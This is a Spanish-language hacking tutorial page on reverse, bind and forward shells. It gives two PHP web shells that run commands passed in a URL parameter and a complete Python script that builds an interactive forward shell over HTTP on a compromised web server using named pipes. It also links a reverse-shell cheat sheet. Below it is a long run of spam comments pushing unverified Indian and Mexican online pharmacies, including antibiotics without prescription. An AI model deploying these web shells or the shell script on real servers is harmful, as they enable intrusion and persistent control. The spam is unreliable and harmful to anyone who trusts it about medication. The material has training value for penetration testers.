Reverse shell, Bind shell y Foward shell

En esta clase, veremos las diferencias entre Reverse Shell, Bind Shell y Forward Shell:

Reverse Shell: Es una técnica que permite a un atacante conectarse a una máquina remota desde una máquina de su propiedad. Es decir, se establece una conexión desde la máquina comprometida hacia la máquina del atacante. Esto se logra ejecutando un programa malicioso o una instrucción específica en la máquina remota que establece la conexión de vuelta hacia la máquina del atacante, permitiéndole tomar el control de la máquina remota.


Bind Shell: Esta técnica es el opuesto de la Reverse Shell, ya que en lugar de que la máquina comprometida se conecte a la máquina del atacante, es el atacante quien se conecta a la máquina comprometida. El atacante escucha en un puerto determinado y la máquina comprometida acepta la conexión entrante en ese puerto. El atacante luego tiene acceso por consola a la máquina comprometida, lo que le permite tomar el control de la misma.


Forward Shell: Esta técnica se utiliza cuando no se pueden establecer conexiones Reverse o Bind debido a reglas de Firewall implementadas en la red. Se logra mediante el uso de mkfifo, que crea un archivo FIFO (named pipe), que se utiliza como una especie de “consola simulada” interactiva a través de la cual el atacante puede operar en la máquina remota. En lugar de establecer una conexión directa, el atacante redirige el tráfico a través del archivo FIFO, lo que permite la comunicación bidireccional con la máquina remota.


Es importante entender las diferencias entre estas técnicas para poder determinar cuál es la mejor opción en función del escenario de ataque y las limitaciones de la red.

Código php para ejecutar comandos por url

<?
        echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
?>

Script para obtener una tty después de obtener una reverse shell

Script /dev/null -c bash

TTYSobreHTTP

En ocasiones cuando comprometemos un servidor web, hay reglas configuradas ( Ej: iptables ) que nos impiden obtener una Reverse Shell vía Netcat, Python u otra utilidad.

Con esta herramienta, evitamos tener que hacer uso de un shell inverso para obtener un TTY posteriormente completamente interactivo. A través de archivos ‘ mkfifo ‘, jugamos para simular una TTY interactiva sobre HTTP, logrando manejarnos sobre el sistema cómodamente sin ningún tipo de problema.

Lo único que necesitamos, es subir al servidor comprometido una estructura PHP como la siguiente para ejecutar comandos:

<?php
	echo shell_exec($_REQUEST['cmd']);
?>

Una vez subido, simplemente ejecutamos el script (Es necesario cambiar la ruta en el script donde se ubica nuestro script PHP alojado en el servidor vulnerado).

Archivo tty_over_http.py

import requests, time, threading, pdb, signal, sys
from base64 import b64encode
from random import randrange

class AllTheReads(object):
	def __init__(self, interval=1):
		self.interval = interval
		thread = threading.Thread(target=self.run, args=())
		thread.daemon = True
		thread.start()

	def run(self):
		readoutput = """/bin/cat %s""" % (stdout)
		clearoutput = """echo '' > %s""" % (stdout)
		while True:
			output = RunCmd(readoutput)
			if output:
				RunCmd(clearoutput)
				print(output)
			time.sleep(self.interval)

def RunCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
        	'cmd' : 'echo "%s" | base64 -d | sh' %(cmd)
		}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def WriteCmd(cmd):
	cmd = cmd.encode('utf-8')
	cmd = b64encode(cmd).decode('utf-8')
	payload = {
		'cmd' : 'echo "%s" | base64 -d > %s' % (cmd, stdin)
	}
	result = (requests.get('http://127.0.0.1/index.php', params=payload, timeout=5).text).strip()
	return result

def ReadCmd():
        GetOutput = """/bin/cat %s""" % (stdout)
        output = RunCmd(GetOutput)
        return output

def SetupShell():
	NamedPipes = """mkfifo %s; tail -f %s | /bin/sh 2>&1 > %s""" % (stdin, stdin, stdout)
	try:
		RunCmd(NamedPipes)
	except:
		None
	return None

global stdin, stdout
session = randrange(1000, 9999)
stdin = "/dev/shm/input.%s" % (session)
stdout = "/dev/shm/output.%s" % (session)
erasestdin = """/bin/rm %s""" % (stdin)
erasestdout = """/bin/rm %s""" % (stdout)

SetupShell()

ReadingTheThings = AllTheReads()

def sig_handler(sig, frame):
	print("\n\n[*] Exiting...\n")
	print("[*] Removing files...\n")
	RunCmd(erasestdin)
	RunCmd(erasestdout)
	print("[*] All files have been deleted\n")
	sys.exit(0)

signal.signal(signal.SIGINT, sig_handler)

while True:
	cmd = input("> ")
	WriteCmd(cmd + "\n")
	time.sleep(1.1)

Bibliografia

https://github.com/s4vitar/ttyoverhttp/blob/master/tty_over_http.py

Recurso para con distintos lenguajes obtener reverse shell

https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

Publicaciones Similares

  • Más sobre el sistema Linux, Bash y Perl

    En un sistema Linux, hay varios scripts y archivos escritos en Bash que se utilizan para diversas tareas de configuración y automatización. Aquí tienes una lista de algunos de los archivos y scripts más comunes, junto con una breve explicación de su propósito: Archivos de Configuración y Scripts Comunes en Bash: Ejemplo de Uso: Para…

  • Python

    Python: —— 1. Como ejecutar python en linux: – Abrir una terminal – Verificar la instalación de python: python3 –version – Ejecutar un script de python: * Navega hasta el archivo: cd /ruta/del/archivo * Ejecuta el archivo con el comando python3: python3 mi_archivo.py – Hacer el script ejecutable (opcional): Si deseas ejecutar el script sin…

  • Cómo usar Systemctl para gestionar servicios y unidades de Systemd

    Introducción systemdes un sistema init y un administrador del sistema que se ha convertido en el nuevo estándar para las distribuciones Linux. Debido a su gran adopción, merece la pena familiarizarse con systemd, ya que hará que administrar servidores sea mucho más fácil. Conocer y utilizar las herramientas y demonios que componen systemdle ayudarán a apreciar mejor…

  • Manual apache2

    Version Para verificar la versión de Apache en Linux, puedes utilizar los siguientes comandos en la terminal, dependiendo de la distribución que estés utilizando: Esto proporcionará la misma información sobre la versión de Apache. Para obtener detalles desde el administrador de paquetes (usando el comando apt): 2. En distribuciones basadas en RHEL/Fedora/CentOS (como Fedora, CentOS, AlmaLinux y Rocky Linux): Instalacion Con…

  • SQL Injection

    Que es SQL injection, explicamelo detalladamente en que consiste y las modalidades : basada en errores, tiempo, booleanos, uniones y stacked querys La SQL Injection (inyección SQL) es una técnica de ataque cibernético que explota vulnerabilidades en la forma en que una aplicación interactúa con su base de datos. Los atacantes insertan código SQL malicioso…

  • Bases de datos no relacionales

    MongoDB es una base de datos NoSQL que almacena datos en documentos JSON (BSON internamente). A diferencia de SQL, que utiliza tablas y filas, MongoDB utiliza colecciones y documentos. Aquí te explico cómo manejar las operaciones básicas en MongoDB con ejemplos. Comprobar si MongoDB está instalado Instalar MongoDB en Linux Si no tienes MongoDB instalado,…

2.292 comentarios

  1. В этом информативном тексте представлены захватывающие события и факты, которые заставят вас задуматься. Мы обращаем внимание на важные моменты, которые часто остаются незамеченными, и предлагаем новые перспективы на привычные вещи. Подготовьтесь к тому, чтобы быть поглощенным увлекательными рассказами!
    Подробнее можно узнать тут – https://vivod-iz-zapoya-1.ru/

  2. п»їJust now, I found a helpful article regarding buying affordable antibiotics. The site discusses CDSCO regulations on prescriptions. For those interested in reliable shipping to USA, take a look: п»їhttps://kisawyer.us.com/# indianpharmacy com. Good info.

  3. п»їActually, I found a useful page concerning Mexican Pharmacy standards. It details the safety protocols on prescriptions. For those interested in Trusted pharmacy sources, visit this link: п»їUpstate Medical. It helped me.

  4. п»їTo be honest, I discovered an informative report regarding Mexican Pharmacy standards. It details how to save money on prescriptions. In case you need Trusted pharmacy sources, go here: п»їhttps://polkcity.us.com/# mexico pharmacies. Hope it helps.

  5. п»їTo be honest, I found an interesting report about ordering meds from India. It explains WHO-GMP protocols for generic meds. If you are looking for cheaper alternatives, take a look: п»їhttps://kisawyer.us.com/# reputable indian online pharmacy. Cheers.

  6. п»їTo be honest, I discovered an informative report regarding Indian Pharmacy exports. It explains CDSCO regulations for ED medication. In case you need reliable shipping to USA, visit this link: п»їkisawyer.us.com. It helped me.

  7. п»їTo be honest, I came across an informative article about Indian Pharmacy exports. It details the manufacturing standards when buying antibiotics. In case you need cheaper alternatives, take a look: п»їkisawyer.us.com. Might be useful.

  8. п»їRecently, I discovered a helpful article regarding buying affordable antibiotics. The site discusses WHO-GMP protocols for generic meds. If anyone wants factory prices, check this out: п»їhttps://kisawyer.us.com/# indian pharmacy. It helped me.

  9. п»їRecently, I discovered a great report concerning safe pharmacy shipping. It explains how to save money for generic meds. For those interested in reliable shipping to USA, visit this link: п»їhttps://polkcity.us.com/# mexican medicine store. Cheers.

  10. п»їActually, I stumbled upon a useful report about Indian Pharmacy exports. The site discusses how to save money when buying antibiotics. If you are looking for reliable shipping to USA, take a look: п»їkisawyer.us.com. Cheers.

  11. п»їActually, I discovered a useful page concerning ordering meds from India. The site discusses CDSCO regulations when buying antibiotics. In case you need reliable shipping to USA, check this out: п»їhere. Hope it helps.

  12. I was wondering about safe Mexican pharmacies. I saw a cool post that compares best pharmacies: п»їhttps://polkcity.us.com/# mexican pharmacies that ship. Any thoughts?.

  13. п»їRecently, I came across a useful resource regarding cheap Indian generics. It covers how to save money for generic meds. If you are looking for Trusted Indian sources, go here: п»їhttps://kisawyer.us.com/# india pharmacy. It helped me.

  14. п»їTo be honest, I found an interesting report regarding Indian Pharmacy exports. It explains the manufacturing standards for ED medication. In case you need cheaper alternatives, visit this link: п»їhere. Worth a read.

  15. п»їRecently, I stumbled upon a great guide regarding cheap Indian generics. It details the manufacturing standards for ED medication. In case you need factory prices, go here: п»їhttps://kisawyer.us.com/# india pharmacy. It helped me.

  16. Heads up, a helpful guide on cross-border shipping rules. It breaks down quality control for ED meds. Source: п»їhttps://polkcity.us.com/# pharmacies in mexico.

  17. п»їActually, I discovered a useful resource about cheap Indian generics. The site discusses the manufacturing standards when buying antibiotics. For those interested in reliable shipping to USA, go here: п»їkisawyer.us.com. Cheers.

  18. п»їJust now, I came across a helpful guide about cheap Indian generics. The site discusses CDSCO regulations for generic meds. If you are looking for reliable shipping to USA, visit this link: п»їweb page. Good info.

  19. Has anybody tried safe Mexican pharmacies. I saw a good blog that compares best pharmacies: п»їhttps://polkcity.us.com/# purple pharmacy online ordering. Seems useful..

  20. п»їJust now, I stumbled upon a useful report regarding generic pills from India. It covers the manufacturing standards on prescriptions. For those interested in cheaper alternatives, check this out: п»їhttps://kisawyer.us.com/# reputable indian pharmacies. Might be useful.

  21. п»їTo be honest, I stumbled upon an informative guide regarding ordering meds from India. It explains WHO-GMP protocols for ED medication. For those interested in Trusted Indian sources, read this: п»їhttps://kisawyer.us.com/# indianpharmacy com. Hope it helps.

  22. п»їActually, I came across a helpful resource concerning ordering meds from India. It covers WHO-GMP protocols when buying antibiotics. In case you need cheaper alternatives, visit this link: п»їweb page. Worth a read.

  23. п»їLately, I stumbled upon a helpful article about Indian Pharmacy exports. It details how to save money for ED medication. If you are looking for reliable shipping to USA, check this out: п»їhttps://kisawyer.us.com/# top 10 online pharmacy in india. Worth a read.

  24. п»їJust now, I came across a great report regarding generic pills from India. It explains how to save money on prescriptions. For those interested in reliable shipping to USA, take a look: п»їhttps://kisawyer.us.com/# india online pharmacy. Worth a read.

  25. п»їRecently, I found a helpful article concerning buying affordable antibiotics. It details how to save money on prescriptions. For those interested in cheaper alternatives, check this out: п»їhttps://polkcity.us.com/# reputable mexican pharmacy. It helped me.

  26. п»їLately, I stumbled upon a helpful guide concerning cheap Indian generics. The site discusses CDSCO regulations for ED medication. If you are looking for reliable shipping to USA, take a look: п»їsee more. Worth a read.

  27. п»їActually, I stumbled upon an informative article concerning ordering meds from India. It explains how to save money for generic meds. For those interested in cheaper alternatives, go here: п»їhttps://kisawyer.us.com/# cheapest online pharmacy india. Cheers.

  28. Sharing, a helpful analysis on Mexican Pharmacy safety. It explains quality control for generics. Full info: п»їhttps://polkcity.us.com/# mexi pharmacy.

  29. п»їLately, I stumbled upon a great report about ordering meds from India. It details the manufacturing standards on prescriptions. If you are looking for cheaper alternatives, check this out: п»їhttps://kisawyer.us.com/# best india pharmacy. Worth a read.

  30. п»їLately, I discovered a great report regarding safe pharmacy shipping. It covers how to save money for ED medication. In case you need reliable shipping to USA, take a look: п»їUpstate Medical. It helped me.

  31. п»їRecently, I found a useful page about generic pills from India. It covers CDSCO regulations for ED medication. If anyone wants cheaper alternatives, check this out: п»їhttps://kisawyer.us.com/# buy medicines online in india. Might be useful.

  32. Stop overpaying and save money on prescriptions, I recommend reading this report. It shows shipping costs. Huge savings at this link: п»їhttps://polkcity.us.com/# buying prescriptions in mexico.

  33. п»їJust now, I stumbled upon an informative report about buying affordable antibiotics. The site discusses WHO-GMP protocols for generic meds. If you are looking for Trusted Indian sources, read this: п»їkisawyer.us.com. It helped me.

  34. FYI, a helpful guide on FDA equivalent standards. The author describes pricing differences for generics. Link: п»їhttps://polkcity.us.com/# medication from mexico.

  35. п»їActually, I discovered a great report about ordering meds from India. It details CDSCO regulations for ED medication. In case you need factory prices, check this out: п»їwebsite. Good info.

  36. п»їTo be honest, I came across a helpful guide regarding generic pills from India. It covers how to save money on prescriptions. In case you need factory prices, go here: п»їkisawyer.us.com. Might be useful.

  37. Stop overpaying and save money on prescriptions, I recommend checking this page. It reveals trusted Mexican pharmacies. Huge savings found here: п»їhttps://polkcity.us.com/# online pharmacies.

  38. п»їRecently, I stumbled upon a useful page regarding generic pills from India. It details WHO-GMP protocols for ED medication. In case you need cheaper alternatives, check this out: п»їkisawyer.us.com. Worth a read.

  39. п»їActually, I came across an interesting resource regarding buying affordable antibiotics. It details WHO-GMP protocols for ED medication. For those interested in reliable shipping to USA, take a look: п»їhttps://kisawyer.us.com/# top online pharmacy india. Cheers.

  40. Does anyone know getting antibiotics without prescription. I ran into a decent archive that reviews safe places: п»їhttps://polkcity.us.com/# farmacia online usa. Any thoughts?.

  41. п»їJust now, I found a helpful resource concerning generic pills from India. It explains how to save money when buying antibiotics. For those interested in reliable shipping to USA, take a look: п»їkisawyer.us.com. Worth a read.

  42. п»їLately, I found a useful resource concerning Indian Pharmacy exports. The site discusses the manufacturing standards on prescriptions. If you are looking for reliable shipping to USA, read this: п»їkisawyer.us.com. Hope it helps.

  43. Heads up, an important overview on FDA equivalent standards. It breaks down how to avoid scams for antibiotics. You can read it here: п»їhttps://polkcity.us.com/# mexican pharmacies online.

  44. п»їLately, I stumbled upon a helpful page about Indian Pharmacy exports. It covers how to save money when buying antibiotics. For those interested in cheaper alternatives, check this out: п»їhttps://kisawyer.us.com/# top online pharmacy india. Good info.

  45. п»їJust now, I stumbled upon a helpful report concerning Indian Pharmacy exports. It explains WHO-GMP protocols when buying antibiotics. If you are looking for cheaper alternatives, read this: п»їreading. It helped me.

  46. п»їTo be honest, I stumbled upon an interesting report about Indian Pharmacy exports. It explains CDSCO regulations when buying antibiotics. In case you need reliable shipping to USA, visit this link: п»їindian pharmacies safe. Good info.

  47. п»їLately, I stumbled upon an informative resource about generic pills from India. It covers how to save money when buying antibiotics. In case you need cheaper alternatives, visit this link: п»їkisawyer.us.com. Might be useful.

  48. п»їLately, I discovered a great guide regarding ordering meds from Mexico. It explains the safety protocols for ED medication. For those interested in affordable options, visit this link: п»їhttps://polkcity.us.com/# order antibiotics from mexico. Good info.

  49. п»їLately, I stumbled upon a great article about buying affordable antibiotics. It covers CDSCO regulations for generic meds. If anyone wants Trusted Indian sources, take a look: п»їhttps://kisawyer.us.com/# top 10 pharmacies in india. Worth a read.

  50. п»їTo be honest, I came across a useful report regarding Indian Pharmacy exports. The site discusses the manufacturing standards when buying antibiotics. If anyone wants Trusted Indian sources, visit this link: п»їhttps://kisawyer.us.com/# indian pharmacy online. It helped me.

  51. п»їActually, I stumbled upon a great guide regarding buying affordable antibiotics. It covers FDA equivalents for generic meds. If you are looking for affordable options, take a look: п»їpolkcity.us.com. Worth a read.

  52. п»їTo be honest, I discovered a great report regarding generic pills from India. The site discusses CDSCO regulations for ED medication. If you are looking for Trusted Indian sources, visit this link: п»їindian pharmacy. Cheers.

  53. п»їLately, I stumbled upon a helpful resource concerning Indian Pharmacy exports. It explains WHO-GMP protocols for ED medication. If anyone wants reliable shipping to USA, read this: п»їread more. Might be useful.

  54. п»їActually, I found an informative resource about Mexican Pharmacy standards. It covers how to save money on prescriptions. If you are looking for reliable shipping to USA, visit this link: п»їpolkcity.us.com. Cheers.

  55. п»їTo be honest, I discovered a great page about buying affordable antibiotics. It details CDSCO regulations on prescriptions. For those interested in factory prices, visit this link: п»їhttps://kisawyer.us.com/# online shopping pharmacy india. Hope it helps.

  56. п»їRecently, I stumbled upon a useful resource about generic pills availability. It covers FDA equivalents when buying antibiotics. If you are looking for reliable shipping to USA, check this out: п»їpolkcity.us.com. Hope it helps.

  57. п»їJust now, I stumbled upon a great guide regarding generic pills from India. It explains the manufacturing standards when buying antibiotics. For those interested in factory prices, check this out: п»їkisawyer.us.com. Hope it helps.

  58. п»їActually, I stumbled upon an informative guide regarding ordering meds from India. It covers how to save money for ED medication. If you are looking for reliable shipping to USA, read this: п»їkisawyer.us.com. Good info.

  59. п»їLately, I came across an interesting article about generic pills from India. It explains CDSCO regulations when buying antibiotics. For those interested in cheaper alternatives, visit this link: п»їhttps://kisawyer.us.com/# Online medicine order. Hope it helps.

  60. п»їTo be honest, I found a great guide regarding buying affordable antibiotics. The site discusses the manufacturing standards on prescriptions. In case you need factory prices, read this: п»їhttps://kisawyer.us.com/# buy prescription drugs from india. Hope it helps.

  61. To save on pharmacy costs, I recommend reading this archive. The site explains where to buy cheap. Huge savings available here: п»їhttps://polkcity.us.com/# purple pharmacy online ordering.

  62. Heads up, a detailed analysis on cross-border shipping rules. It explains quality control for ED meds. Full info: п»їhttps://polkcity.us.com/# mexico pharmacy.

  63. п»їTo be honest, I found a great report regarding buying affordable antibiotics. It covers the manufacturing standards on prescriptions. If you are looking for reliable shipping to USA, read this: п»їmore info. It helped me.

  64. п»їRecently, I came across a useful resource regarding Indian Pharmacy exports. It covers CDSCO regulations for ED medication. If anyone wants reliable shipping to USA, visit this link: п»їkisawyer.us.com. Cheers.

  65. п»їActually, I discovered a great report concerning Mexican Pharmacy standards. It details how to save money for ED medication. For those interested in reliable shipping to USA, take a look: п»їUpstate Medical. Hope it helps.

  66. п»їJust now, I stumbled upon a great resource about ordering meds from India. It covers how to save money for ED medication. If you are looking for cheaper alternatives, read this: п»їrecommended. Worth a read.

  67. п»їLately, I discovered an interesting resource concerning Indian Pharmacy exports. The site discusses the manufacturing standards when buying antibiotics. If anyone wants Trusted Indian sources, check this out: п»їhttps://kisawyer.us.com/# online pharmacy india. Worth a read.

  68. п»їLately, I discovered a useful report regarding generic pills availability. It details regulations for ED medication. For those interested in reliable shipping to USA, read this: п»їpolkcity.us.com. It helped me.

  69. п»їActually, I discovered an informative report regarding cheap Indian generics. It explains the manufacturing standards for ED medication. If anyone wants Trusted Indian sources, take a look: п»їindia pharmacy. Worth a read.

  70. п»їJust now, I came across a great resource about Indian Pharmacy exports. It details CDSCO regulations for generic meds. In case you need cheaper alternatives, go here: п»їkisawyer.us.com. Hope it helps.

  71. Has anybody tried getting antibiotics without prescription. I ran into a decent archive that reviews trusted vendors: п»їhttps://polkcity.us.com/# mexican pharmacy prices. Looks legit.

  72. п»їActually, I discovered a helpful article concerning cheap Indian generics. It details WHO-GMP protocols for generic meds. In case you need cheaper alternatives, check this out: п»їkisawyer.us.com. Worth a read.

  73. п»їLately, I stumbled upon a helpful report concerning Indian Pharmacy exports. It explains how to save money for ED medication. If you are looking for cheaper alternatives, read this: п»їhttps://kisawyer.us.com/# top 10 online pharmacy in india. Hope it helps.

  74. п»їActually, I stumbled upon a great report regarding generic pills from India. It details the manufacturing standards when buying antibiotics. If you are looking for reliable shipping to USA, go here: п»їbest india pharmacy. Cheers.

  75. п»їJust now, I found a useful guide regarding buying affordable antibiotics. It explains the manufacturing standards for generic meds. If anyone wants cheaper alternatives, check this out: п»їhomepage. Might be useful.

  76. п»їLately, I came across a great guide regarding cheap Indian generics. It details how to save money when buying antibiotics. For those interested in Trusted Indian sources, visit this link: п»їhttps://kisawyer.us.com/# mail order pharmacy india. Might be useful.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *